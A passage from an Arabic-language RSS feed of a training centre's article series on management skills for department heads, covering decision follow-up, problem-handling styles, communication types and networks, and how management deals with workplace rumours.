يتم وضع العوائق أمام التنفيذ من خلال تحريض بعض العاملين على أن تنفيذ القرار قد يضر في مستقبلهم بينما يستفيد منه آخرون .. ولا تقتصر الصعوبات التي تواجه تنفيذ القرار على الصعوبات الإنسانية ، فقد تكون هناك صعوبات فنية أو قانونية أو مالية أيضا تواجه التنفيذ . .

– أن المتابعة تمكن متخذ القرار من اتخاذ الإجراءات التي يراها مناسبة نحو القرار. فقد يرى سحب القرار أو إلغائه أو وقفه أو تعديله جزئيا أو كليا ، أو الإصرار عليه بحالته مع اتخاذ الإجراءات اللازمة لضمان تنفيذه .

– يضاف إلى ما سبق أن عملية المتابعة لتنفيذ القرار تساعد على تنمية روح المسئولية لدى المرؤوسين وحثهم على المشاركة في اتخاذ القرارات .. كما أنها تنمى لدى متخذي القرارات أو مساعديهم القدرة على تحرى الدقة والواقعية في التحليل أثناء عملية التنفيذ مما يساعد على اكتشاف ومعرفة مواقع القصور والخلل والاختناق ، والتحري عن أسبابها واقتراح سبل علاجها ..

 

6– تقييم النتائج المترتبة على القرار .

    في هذه المرحلة يقوم المدير أو الشخص المسئول عن إعداد واتخاذ القرارات بمقارنة النتائج الفعلية التي ترتبت على القرار – الذي تم اتخاذه من خلال الخطوات السابقة – بالأهداف المخططة والمفترض أنها محددة مسبقا لهذا القرار ، واكتشاف الانحرافات السلبية والإيجابية تمهيداً لاتخاذ الإجراءات التصحيحية المناسبة .

 

أنماط المديرين في مواجهة المشاكل

====================

أولآ : التركيز على المشكلة .

        ويتبع هذا الأسلوب عندما يشعر المدير أنه بصدد مشكلة لا يتوافر لديه معلومات عنها أو أن المعلومات المتوفرة غير كافية ، وفي هذه الحالة يتم إستخدام أحد أسلوبين هما :

  • الأسلوب الإستشاري :

وهويعتمد على الحصول على المعلومات الخاصة بالمشكلة من خلال مناقشة عدد من التسآولات مع رؤسائه أو مرؤوسيه .

 

  • الأسلوب الإنعكاسي .

وهذا الأسلوب لا يعتمد على إثارة أسئلة بقدر ما يعتمد على إثارة الآخرين للتحدث عن المشكلة من خلال ما قاموا بسماعه أو مشاهدته .

 

ثانيا :ً التركيز على الحلول :

  • الأسلوب التفاوضي .حيث يقدم شيئاً في مقابل شيئاً آخر .
  • أسلوب الأمر المستتر . من خلال تقديم مقترحات للحل تحمل في طياتها ضرورة التنفيذ مثل قوله ( يمكنك أن تجرب ..) أو ( حاول أن ..) .

 

  • أسلوب الأمر الصريح . إعتماداً في ذلك على سلطاته بحكم منصبه الإداري بالمنظمة .

*   *   *

انتهت بحمد الله المقالة السادسة من مسار كيم التعليمى للمهارات الإدارية لرؤساء الأقسام

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-6/feed/ 0 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الخامسة https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-5/ https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-5/#respond Fri, 07 Apr 2023 14:28:40 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10412 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام إعداد/ مركز كيم  المقالة الخامسة 5/4 الاتصالات الشفوية : يقصد بالاتصالات الشفوية تلك الاتصالات التي تتم عن طريق المحادثات الشفوية بين الرئيس والمرؤوس ، هذا وإن كانت الاتصالات المكتوبة يمكن حفظها والرجوع إليها بسهولة إلا إن الاتصالات الشفوية تمتاز عنها بأنها أكثر يسراً وأكثر إثارة لاهتمام المرسل إليه […]

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام

إعداد/ مركز كيم 

المقالة الخامسة

5/4 الاتصالات الشفوية :

يقصد بالاتصالات الشفوية تلك الاتصالات التي تتم عن طريق المحادثات الشفوية بين الرئيس والمرؤوس ، هذا وإن كانت الاتصالات المكتوبة يمكن حفظها والرجوع إليها بسهولة إلا إن الاتصالات الشفوية تمتاز عنها بأنها أكثر يسراً وأكثر إثارة لاهتمام المرسل إليه ، كما أنها أكثر إقناعاً وتأثيراً فيه .

     وعلى الرغم من أن الاتصال الكتابي يتم جنبا إلى جنب مع الاتصال الشفهي في مختلف التنظيمات حيث نرى اللوائح والنشرات والكتيبات والتقارير وغيرها ، إلا أن بعض الدراسات تشير إلى تفضيل الإدارة للاتصالات الشفهية ، ففي إحدى الدراسات التي أجريت على عينة من مديري الإدارة المباشرة في الولايات المتحدة الأمريكية تبين أنهم يقضون 50% من وقت عملهم اليومي في صيغة أو أكثر من صيغ الاتصال الشفهي أما متحدثا أو مستمعا ، وأن 60% من هذا الوقت المخصص للاتصالات الشفهية يكون للاتصالات مع المرؤوسين،30% مع الرؤساء ، 10% للاتصالات مع الزملاء في نفس المستوى الإداري : ويمكن إرجاع ذلك في الواقع لسببين رئيسيين هما :

  • أن الاتصالات المكتوبة تحتاج إلى وقت طويل للكتابة ، وقراءة الردود ، وهذا قد يكون على حساب الوظائف الأساسية للمدير .
  • أن الكلمات المكتوبة لا تلائم التعبير عن جميع المواقف ، فهي إن كانت تلائم التعبير عن الأغراض المادية والمواقف النمطية إلا أنها لا تتناسب مطلقا للتعبير عن المشاعر والانفعالات والمواقف غير النمطية .

 

     ومع ذلك فان الرسائل المكتوبة لا يكون هناك غنى عنها في بعض الأحيان للأسباب الآتية :

  • يمكن اعتبارها بمثابة سجل للأوامر ، واللوائح ،والتعليمات يمكن الرجوع إليها وقت الحاجة ، ولا تكون معرضة للنسيان كما في حالة الاتصال الشفهي.
  • أن بعض التعليمات لا بد أن تكون مفصلة بدقة حتى يسهل تفسيرها ودراستها والاسترشاد بها في تنفيذ الأعمال ،وهذا لن يتحقق إلا إذا كانت مكتوبة .
  • أن الرسائل المكتوبة أفضل وسيلة لنشر المعلومات بين عدد كبير من الأفراد أو الجماعات داخل التنظيم .
  • أن الكتابة تضفي على الرسالة صفة الرسمية ، وتكون مستندا للإثبات لكل من أطراف الاتصال إذا اقتضت الضرورة ذلك .

     وخلاصة القول أن الإدارة يجب أن تأخذ في اعتبارها عند تصميم نظم الاتصالات أن تستعين بكلا النوعين من الاتصالات الشفهية والمكتوبة بما يتفق بالدرجة الأولى مع مضمون الاتصال ذاته ،وأطرافه الاتصال والوقت المسموح به لإتمام الاتصال  .

 

5/5 الاتصالات المباشرة .

تكون الاتصالات مباشرة إذا تمت بين الرئيس والمرؤوسين بغير وسيط بحيث يصدر الرئيس أوامره باستخدام وسيلة اتصال واحدة وبذلك يتاح له وللمرؤوسين معا أن يتم الاتصال بدون عوائق .

 

5/6 الاتصالات الغير مباشرة :

وتكون الاتصالات غير مباشرة عندما تتعدد خطوط الاتصال – وسطاء الاتصال- بين الرئيس في قمة التنظيم والمرؤوسين في قاعدته وغالبا ما يمثل الوسطاء هنا الرؤساء في درجة أقل من درجة الرئيس الموجود على قمة الهيكل التنظيمي .

6- أنماط الاتصال .

تأخذ عمليات الاتصال التي تتم داخل المنظمات على اختلاف أنواعها شكل أو أكثر من الأشكال أو الأنماط الرئيسية التالية :

6/1 شكل العجلة :

        ويطلق على هذا النمط شكل العجلة لأنه يتيح لشخص واحد فقط في المحور – سواء كان هذا الشخص مدير عام أو مدير إدارة أو رئيس قسم أو مشرف مباشر – أن يتصل بأعضاء المجموعة الآخرين ، ولا يستطيع أعضاء المجموعة في هذا النمط الاتصال المباشر إلا بهذا الشخص ، أي أن الاتصال يتم فيما بينهم عن طريقه فقط . واستخدام هذا الأسلوب يجعل سلطة اتخاذ القرار تتركز في يد الرئيس أو المدير .

 

6/2 شكل الدائرة :

وهذا النمط يكون فيه كل عضو مرتبط بعضوين أي أن كل فرد يستطيع أن يصل اتصالا مباشرا بشخصين آخرين ، ويمكن الاتصال ببقية أعضاء المجموعة بواسطة أحد الأفراد الذين يتصل بهم اتصالا مباشرا .

 

 

6/3 شكل السلسلة :

وفي هذا النمط يكون جميع الأعضاء في خط واحد ، حيث لا يستطيع أي منهم الاتصال المباشر بفرد آخر – أو بفردين – إلا إذا كان أحد الأفراد الذين يمثلون مراكز مهمة . ويلاحظ أن الفرد الذي يقع في منتصف السلسلة يملك النفوذ والتأثير الأكثر في منصبه الوسطى .

 

6/4 الشكل المتشابك :

        في هذا النمط يتاح لكل فرد من أفراد المنظمة الاتصال المباشر بأي فرد فيها ، بمعنى آخر فإن الاتصال هنا يتجه إلى كل الاتجاهات ، غير أن استخدام هذا النمط يؤدى إلى البطئ في عملية توصيل المعلومات نظرا لاشتراك عدد كبير من الأفراد في تلك العملية ، فضلا عن إمكانية زيادة معدلات التحريف فيها ، وبالتالي يقلل من الوصول إلى قرارات سليمة وفعالة .

 

7- طرق ووسائل الاتصالات .

     للاتصالات عدة طرق منها الطرق المكتوبة ، ومنها الطرق الشفهية .نعرض لكل منها فيما يلي :

7/1 طرق الاتصال المكتوبة  :

     تتمثل هذه الطرق في :

  • الأوامر والتعليمات كالخطابات الداخلية والخارجية والمذكرات والنشرات أو الكتب الدورية .
  • الرسائل الخاصة : مثل الخطابات والرسائل الخاصة بالعاملين .
  • بيان الأجر وهو بمثابة كشف أو بيان يوضح المبالغ الخاصة بأجور العاملين وهو أسلوب متبع في بعض المنظمات .
  • مجلة أو جريدة العامل : وهي تشتمل على أخبار المنظمة وما يجد فيها .
  • مرجع أو دليل العاملين : وفيه توضيح لأهمية العمل ودور الفرد في المنظمة ومعلومات عن المنظمة وأهدافها وأنظمتها وسياساتها ونحو ذلك .
  • الأدلة : وهي نظام متكامل لتعليمات مكتوبة طويلة الأجل وقد يكون شكلها ثابتا ، أو قد يكون قابلا للتعديل والتطوير ، وهي تشبه اللوائح .
  • دليل الجمهور أو المستفيد : وفيه معلومات وافية تفيد الجمهور أو المراجعين المستفيدين .
  • التقارير : مثل تقارير التخطيط والرقابة والأخبار .
  • لوحة الإعلانات : وتستخدم لنقل المعلومات والتعليمات للعاملين .
  • صندوق الاقتراحات : وهو عبارة عن صندوق توضع فيه المقترحات من داخل المنظمة أو من خارجها .

        

7/2 طرق الاتصالات الشفهية :

   تمثل هذه الطرق الجزء الأكبر في عملية الاتصالات الإدارية ،وتتمثل في الوسائل والطرق التالية :

  • إصدار الأوامر والتعليمات .
  • المقابلات ، مثل مقابلة التوظيف ، مقابلة التدريب ، مقابلة الترقية ، مقابلة التقييم ، مقابلة النظر في الشكاوى ، مقابلة الإجراءات التأديبية ، مقابلة تحليل الوظائف ، مقابلة تدنى الخدمة .
  • نظام الاستشارات للعاملين – كحل المشكلات ونحوها – .
  • الاجتماعات اليومية أو الأسبوعية أو الشهرية أو السنوية .
  • البرامج التدريبية : وهي زيادة معلومات ومهارات العاملين وتطوير مستوياتهم المختلفة .
  • المؤتمرات .
  • الندوات .
  • الإيضاح والمراجعة – مراجعة وإيضاح الأداء لبعض أقسام الإدارة أو المنظمة – .
  • اللجان ، سواء داخل المنظمة أو خارجها .
  • الحلقات والزيارات : مثل لقاءات الرئيس بالمرؤوسين لحل المشكلات أو مراجعة الأداء أو التعرف على المعلومات المرتدة .

 

7/3 وسائل الاتصال غير اللفظي .

       يلعب الاتصال غير اللفظي دوراً بارزاً في تعزيز الاتصال اللفظي . ويتمثل هذا النوع من الاتصال في حركات الجسم أو ما يعرف بلغة الجسم ، ومن خلال لغة الجسم يتم نقل المعاني بواسطة حركات وتعبيرات الوجه والإيماءات والانحناءات ووضع الجسم وحركات اليدين ، والمس ، وشكل ومظهر الجسم .

 

8- الإشاعات كمصدر للاتصالات . 

     تعتبر الإشاعات مصدر غير رسمي في عملية الاتصالات . وعلى الرغم من أن الإشاعات قد لا تكون دقيقة أو صحيحة إلا أنها قد تعتبر أحيانا مؤشراً إيجابياً لإحداث التغيير التنظيمي ، فضلا عن أنها تفيد في معرفة موقف العاملين من بعض القضايا الهامة في العمل . والإشاعات لا يجب النظر إليها على أنها دائما مضرة أو أنها تعمل ضد مصلحة المنظمة ، فقد تكون مفيدة للعاملين ، والمديرين والمنظمة معاً في تحقيق النتائج المطلوبة .

     من ناحية أخرى فقد تكون الإشاعات مقصودة من قبل الإدارة لمجرد معرفة رأى العاملين وردود فعلهم تجاه تغيير أو قرار محتمل . فمثلا قد يوعز بعض المديرين لأحد الأفراد المعروف عنهم سرعة نقل الكلمة بأن الإدارة بصدد زيادة ساعات العمل أو تخفيض بدل السكن .. وحينما يتضح للإدارة وجود معارضة شديدة بعد انتشار هذا الخبر فإنها قد تحجم عن هذا الرأي .

 

8/1 طرق ترويج الإشاعات .

يتم ترويج الإشاعات بين العاملين داخل المنظمة بعدة طرق أهمها :

8/1/1 يقوم أحد العمال بنقل إشاعة إلى شخص آخر وهو يقوم بدوره بنقلها إلى واحد آخر ، وهكذا .

8/1/2 يتم نقل الإشاعة من شخص واحد بقسم أو إدارة معينة إلى جميع العاملين معه في قسمه أو إدارته .

8/1/3 يقوم شخص ما بنقل الإشاعة إلى أشخاص بمحض الصدفة وهؤلاء يقومون بنفس الشيء أيضا .

8/1/4 يقوم شخص بنقل الإشاعة إلى أشخاص محددين ، حيث يقوم أحدهم بعد ذلك بنقل هذه الإشاعة إلى أشخاص آخرين محددين أيضا وكل منهم بدوره قد يختار فرد أو مجموعة لينقل إليهم هذه الإشاعة . وتمثل هذه الصورة أهم وسائل تنقل الإشاعات .

 

8/2 كيف تتعامل الإدارة مع الإشاعات ؟ 

 تشير نتائج الدراسات التي أجريت حول دور الإشاعات في المنظمات إلى ما يلي:

  • تعتبر الإشاعات الأسرع نقلا مقارنة بالوسائل الرسمية في الاتصالات .
  • يمثل حوالي 75% من الإشاعات مصدرا صحيحا للمعلومات .
  • يثق العاملين في هذه الإشاعات حينما يشعرون بعدم الأمان الوظيفي أو يلوح لهم التهديد بشيء ما ، أو حينما يواجهون باحتمالات التغيير التنظيمي  يعتمد العاملين على الإشاعات للحصول على أكبر قدر من المعلومات .

وحتى يكون تعامل الإدارة مع الإشاعات تعاملا صحيحا فإن الأساس هو عدم إهمالها ، أو محاولة القضاء عليها ، بل المطلوب هو مراقبتها والتأثير عليها . ويتم ذلك من خلال إعلام جميع العاملين بكل مجريات الأمور والأحداث في المنظمة . وعلى سبيل المثال فإن الإدارة قد تتجه إلى اتخاذ الإجراءات التالية:

8/2/1 الاهتمام بنشاط العلاقات العامة مع العاملين مع تزويد مسئولي تلك الإدارة بكافة المعلومات الهامة مع حثهم على نقلها إلى العاملين بالمنظمة وخاصة أولئك الذين لا يدخلون في نطاق الاتصالات الرسمية المعروفة .

8/2/2 الإعلان المسبق عن أي تغيير إداري أو تنظيمي محتمل .

8/2/3 مقابلة المرؤوسين والإصغاء باهتمام إلى آرائهم .

8/2/3 الاختيار الدقيق للمعلومات المطلوب نقلها إلى العاملين من خلال الإشاعات.

*   *   *

انتهت بحمد الله المقالة الخامسة من مسار كيم التعليمى للمهارات الإدارية لرؤساء الأقسام

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-5/feed/ 0 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الرابعة https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-4/ https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-4/#respond Fri, 07 Apr 2023 14:23:08 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10410 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام إعداد/ مركز كيم  المقالة الرابعة نظم الاتصالات ودور رئيس القسم في تحقيق فعاليتها مقدمة :         إن الفرد لا يعيش حياته بمعزل عن الآخرين ، فالفرد في سبيل إشباع حاجاته المتباينة لابد له من أن يمارس نوعا ما من أنواع الاتصالات مع أفراد آخرين في البيئة المحيطة -الأسرة […]

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام

إعداد/ مركز كيم 

المقالة الرابعة

نظم الاتصالات ودور رئيس القسم في تحقيق فعاليتها

مقدمة :

        إن الفرد لا يعيش حياته بمعزل عن الآخرين ، فالفرد في سبيل إشباع حاجاته المتباينة لابد له من أن يمارس نوعا ما من أنواع الاتصالات مع أفراد آخرين في البيئة المحيطة -الأسرة ، جماعة العمل ، جماعة الأصدقاء ، المنظمة التي ينتمي إليها ، المنظمات الأخرى على اختلاف أنشطتها – .

        فالاتصال هو الأسلوب الذي يستطيع رئيس القسم من خلاله أن يعرف ويتفهم ماذا يريد من المرؤوسين بقسمه ، وماذا يريد المرؤوسين منه . ويمارس الفرد الاتصال في حياته يوميا بصفته سلوكا إنسانيا ، كما تمارسه الجماعات والمنظمات أيضا حيث بدونه لن يتحقق التفاهم والتفاعل المطلوبين لتحقيق الأهداف .

 

        وفى هذا الجزء من المادة العملية سوف نناقش – بإذن الله – العناصر التالية والمرتبطة بموضوع الاتصالات :

– التعريف بالمفاهيم .

– عناصر عملية الاتصال .

– أهداف عملية الاتصال .

– أهمية الاتصالات للإدارة .

– أنواع الاتصالات .

– أنماط الاتصال .

– طرق ووسائل الاتصالات .

– الإشاعات كمصدر للاتصالات . 

 

 

وفيما يلي شرح لكل موضوع من الموضوعات السابقة :

1- التعريف بالمفاهيم .

       تعرف معاجم اللغة العربية الاتصال بأنه الانتماء أو الانتساب إلى شئ ما، فاتصال الفرد لعائلته يعنى انتسابه إلى تلك العائلة . وكلمة الاتصال باللغة الإنجليزية Communication  تعنى تبادل الأفكار أو المعلومات عن طريق الكلام أو الكتابة أو الإشارات .

ولقد وضعت عدة تعريفات توضح المقصود بعملية الاتصال أو الاتصالات منها :

  • أن الاتصال هو عبارة عن أي سلوك يؤدى إلى تبادل معنى معين بين طرفين . وقد تبنت هذا التعريف جمعية الإدارة الأمريكية .
  • كما يعرف الاتصال بأنه عبارة عن السلوك اللفظي أو المكتوب الذي يستخدمه أحد الأطراف للتأثير في الطرف أو الأطراف الأخرى .
  • كما يرى البعض أن الاتصال يعنى وضع مجموعة من الأفكار في شكل رسالة أو رسائل معينة ، وفي وسيلة مناسبة بحيث يمكن أن يتفهمها الطرف الآخر ويتصرف على ضوئها بالشكل المطلوب .

 

وعلى ذلك وفي ضوء التعريفات السابقة لمفهوم الاتصالات فإنه يمكن النظر إلى عملية الاتصالات من منظور السلوك الإنساني والتنظيمي على أنها عملية التأثير في السلوك والتي تتم من خلال تبادل وتفهم المعلومات والبيانات والأفكار والاتجاهات بين فرد معين وفرد أو أفراد آخرين ، أو من مجموعة أفراد إلى مجموعة أو مجموعات أخرى ، وذلك باستخدام صيغة تعبيرية معينة ووسيلة مناسبة .

 

2- عناصر عملية الاتصال .

من خلال التوضيح السابق لمفهوم عملية الاتصال نجد أن هناك مجموعة من العناصر تتكون منها تلك العملية هي :

2/1 المرسل : هو الشخص مصدر الاتصال والذي يرغب – أو مجموعة الأشخاص الذين يرغبون – في نقل رسالة ما إلى طرف آخر . ويتأثر المرسل  بطريقة فهمه وتفسيره وحكمه على المعلومات والآراء والأفكار ، وهذا ما يعرف بالإدراك كما أنه يتأثر في ذلك بخبرته وخلفيته من المعلومات المتشابهة أو المكملة أو ذات الصلة . ولاشك في أن أفكار ومعلومات المرسل تتأثر بالمكونات والخصائص الشخصية لديه : من حيث ميوله واهتماماته وقيمه وانفعالاته وحاجاته الشخصية ، كما أنها تتأثر كذلك بتوقعاته وطموحاته وأهدافه .

 

2/2 الرسالة : وهي عبارة عن الرموز التي تحملها أفكار ومعلومات وآراء المرسل ، وهي تأخذ عدة أشكال من الرموز مثل : الكلمات والحركات والأصوات والحروف والأرقام والصور ، والسكون وتعبيرات الوجه والجسم الملامسة والمصافحة والهمسات والصوت . ولاشك في أن الاختبار الحسن لصياغة الرسالة ورموزها من الأهمية بمكان لكل من المرسل والمرسل إليه . كما أن سوء الاختيار يؤدى إلى إيجاد  مشكلات عديدة وعلى المرسل أن يعرف أن صياغة الرموز قد يكون لها معان مختلفة باختلاف الأفراد . كما أن الرسالة قد تتضمن في بعض الأحيان معاني خفية أو غامضة أو مترادفة أو متعارضة .وقد تكون هذه المعاني مقصودة من المرسل أو غير مقصودة .

 

2/3 وسيلة الاتصال : تعتبر وسيلة الاتصال بمثابة الوسيط الذي يستخدم لنقل الرسالة إلى المرسل إليه . وتلعب وسيلة الاتصال بين المرسل والمرسل إليه دورا بارزا في فهم الرسالة المرسلة ، لذلك على المرسل أن ينتقى ويختار الوسيلة الأكثر تعبيراً وتأثيراً وفعالية في المرسل إليه – المستقبل – . وتجدر الإشارة إلى أن هناك العديد من الوسائل الخاصة بالاتصال ، فمنها الشفهي كالمقابلات الشخصية والاجتماعات واللجان والتليفون والمحادثات الشخصية والمؤتمرات والندوات . كما أن هناك الاتصالات المكتوبة كالخطابات والمذكرات والتقارير والمجلات والمنشورات ، والدوريات والتلكس والفاكس واللوائح وأدلة وإجراءات العمل . ويمكن النظر إلى وسائل الاتصال حسب رسميتها . فهناك الوسائل الرسمية وهناك الوسائل الغير رسمية . والوسائل الرسمية هي تلك الوسائل التي تستخدم في منظمات العمل ويعترف بها الهيكل التنظيمي للمنظمة ، مثل : التقارير والخطابات والأوامر والمنشورات . أما الاتصالات الغير رسمية فهي التي تمارس ولا يعترف بها الهيكل التنظيمي للمنظمة ، مثل الأحاديث الودية وتبادل الطرائف والنكات وحفلات الشاي والمناقشات في أثناء فترات الراحة . وجميع هذه الوسائل – سواء منها الرسمية أو غير الرسمية – ضرورية في عمليات الاتصال الإنساني في منظمات العمل .

 

2/4 المرسل إليه ( المستقبل ) :وهو الشخص الذي يستقبل – أو الأشخاص الذين يستقبلون – الرسالة من المرسل ، من خلال الحواس المختلفة ، مثل : السمع والبصر والشم والذوق والمس . ويتم تنظيم واختيار المعلومات وتفسيرها من قبل المستقبل ، وعلى ضوء ذلك يعطى لها تفسيرات ومعاني ودلالات . ولا شك في أن عملية الاستقبال للرسالة وتفسيرها من قبل المرسل إليه تتأثر هي الأخرى بشخصية المرسل إليه وأسلوب إدراكه ودوافعه وقدراته وأهدافه وحالته النفسية ، وينعكس ذلك على تفسيره لمعاني الرسالة وتعامله معها .

 

 

 

3- أهداف عملية الاتصال .

       يسعى الأفراد داخل المنظمات أيا كان المستوى التنظيمي الذي يشغلونه من وراء القيام بأي نوع من أنواع الاتصالات أو أي شكل من الأشكال التي تأخذها إلى تحقيق هدف أو أكثر من الأهداف التالية :

3/1 تداول البيانات والمعلومات داخل التنظيم بين الأفراد الموجودين في المستويات التنظيمية المختلفة .

3/2 تبادل الأفكار والآراء بين المديرين في المستوي التنظيمي الواحد .

3/3 تداول البيانات والمعلومات بين الأفراد في الوحدات الإدارية المختلفة داخل المستوى التنظيمي الواحد .

3/4 إبلاغ التعليمات والأوامر للمرؤوسين .

3/5 التأثير في سلوك الآخرين .

3/6 تغيير الاتجاهات نحو موضوع معين أو شخص معين أو قضية معينة .

 

4- أهمية الاتصالات للإدارة .

     تؤكد المفاهيم الحديثة للإدارة على أن الإدارة لم تعد تهتم فقط بالوظائف التقليدية  من تخطيط وتنظيم وتوجيه ورقابة ، وإنما تهتم أكثر بالطريقة التي يعمل بها المدير ويقضى بها وقته ويؤدى بها عمله ، كما تهتم أيضا بالأدوار والنشاطات والمهام التفصيلية التي يقوم بها فعلا أثناء عمله . فالمدير يلعب أدوارا متعددة منها على سبيل المثال :الاتصال المستمر بالمنظمات الخارجية التي لها ارتباط مباشر أو غير مباشر بمجالات النشاط في منظمته ، بالإضافة إلى تمثيل المنظمة رسميا وتجميع وتحليل المعلومات ونشرها ، والتحدث باسم المنظمة والتعاون مع الغير ونحو ذلك من المهام والأدوار .

     وتعتبر الاتصالات وسيلة فعالة يستخدمها المديرين في إدارة أنشطتهم الإدارية ، وفي إدارة وتحقيق أهداف المنظمة ، وذلك باعتبار أن الاتصالات تساعد فيما يلي :

  • تحديد الأهداف الواجب تنفيذها .
  • تعريف المشكلات وسبل علاجها .
  • تقييم الأداء وإنتاجية العمل .
  • التنسيق بين المهام والوحدات المختلفة .
  • تحديد معايير ومؤشرات الأداء .
  • إبلاغ الأوامر والتعليمات .
  • توجيه العاملين ونصحهم وإرشادهم .
  • التأثير في الآخرين وقيادتهم .
  • حفز العاملين .

     ويمكن التعرف على ضرورة وأهمية الاتصالات للإدارة داخل المنظمة من خلال معرفة الموقف الإداري الذي تظهر فيه عملية الاتصال . فقد يكون هذا الموقف بين المدير ومرءوسيه بشأن إبلاغهم بالتعليمات والأوامر.. . وهنا يكون الاتصال من أعلى إلى أسفل ، أو بين المدير وزميله بشأن استيضاح مسألة ما ذات اهتمام مشترك وهنا يكون الاتصال أفقي ، وقد يكون بين المرؤوسين ومديرهم وبالتالي يكون الاتصال من أسفل إلى أعلى . وإذا فحصنا كل موقف وما يحتويه من اتصالات مختلفة يمكن أن نتعرف بدقة على أهمية الاتصال بالنسبة لهذا الموقف .

     هذا فضلا عن للاتصالات الفعالة  بين الأفراد في المنظمة على مختلف المستويات الإدارية دوراً بارزاً في إيجاد وخلق علاقات طيبة فيما بينهم ، وبالتالي ينعكس ذلك بشكل إيجابي على تطوير وتحسين الأداء بالمنظمة . فالاتصالات الإدارية تعتبر بمثابة القلب الذي يضخ الأفكار والبيانات والمعلومات والأوامر والتعليمات …إلى مختلف أرجاء التنظيم .

كما تعتبر الاتصالات وسيلة هامة للقيام بعناصر العملية الإدارية من تخطيط وتنظيم وتوجيه ورقابة على أكمل وجه . فعلى سبيل المثال فإن عملية اتخاذ قرار معين تتوقف سلامتها على نوع ودقة وتوقيت المعلومات التي تصل إلى متخذ القرار . كما أن أهمية القرار لا تكتمل إلا إذا تمت عملية نقله وتوصيله إلى جميع الأفراد والوحدات التي يعنيها الأمر ، وعندئذ يحدث رد الفعل وتترتب عليه توقعات وتصرفات وإجراءات ، وربما قرارات أخرى يصدرها الآخرون .فالاتصال هو عملية توصيل قدر من المعلومات والحقائق من جهة تملكها إلى جهة تريدها لإنجاز عمل أو اتخاذ قرار أو تغيير سلوك .

     وخلاصة القول فإن جميع وظائف الإدارة يتم أدائها بفعالية ونقل ما ينتج عنها من قرارات إلى الآخرين من خلال الاتصالات . فمن خلال الاتصالات يتم ربط مختلف أقسام المنظمة في وحدة متكاملة لتحقيق أهداف مشتركة .

5- أنواع الاتصالات . 

        يمكن تصنيف الاتصالات التي تتم بين الأفراد في المستويات الإدارية داخل المنظمة الواحدة وبين الأفراد في منظمات مختلفة إلى العديد من الأنواع ، وعلى الرغم من وجود تداخل بين تلك الأنواع إلا أننا سنقوم بتوضيح الفروق بينها من خلال تقديم شرح مختصر لكل منها على النحو التالي :-

5/1 الاتصالات الرسمية :

يقصد بالاتصالات الرسمية تلك الاتصالات التي تتم في ضوء لوائح وقوانين  التنظيم الرسمي في المنظمة . وتتم الاتصالات الرسمية من خلال قنوات محددة على الهيكل التنظيمي إما رأسية أو أفقية ، والاتصالات الرسمية الرأسية إما أن تكون من أعلى إلى أسفل ، أو تكون من أسفل إلى أعلى .

 

 

5/1/1 الاتصال من أعلى إلى أسفل .

       يكون الاتصال من أعلى إلى أسفل بين الرؤساء والمرؤوسين في المنظمة وفي مختلف المستويات الإدارية بغرض إعطاء الأوامر والتعليمات ، والتوجيهات الخاصة بالخطط والسياسات ، ومعايير الأداء . وقد تتم هذه الاتصالات من خلال لقاء المواجهة المباشرة كالمقابلات الشخصية ، والاجتماعات ،واللجان ، ولوائح العمل ، والتعليمات … الخ . ويوضح الشكل التالي اتجاهات الاتصالات من أعلى إلى أسفل . ولاشك أن إتمام هذه الاتصالات بالفعالية المنشودة يساعد على ربط المستويات الإدارية المختلفة في التنظيم بعضها بالبعض والتنسيق فيما بين أنشطتها بشكل فعال .

5/1/2 الاتصال من أسفل إلى أعلى .

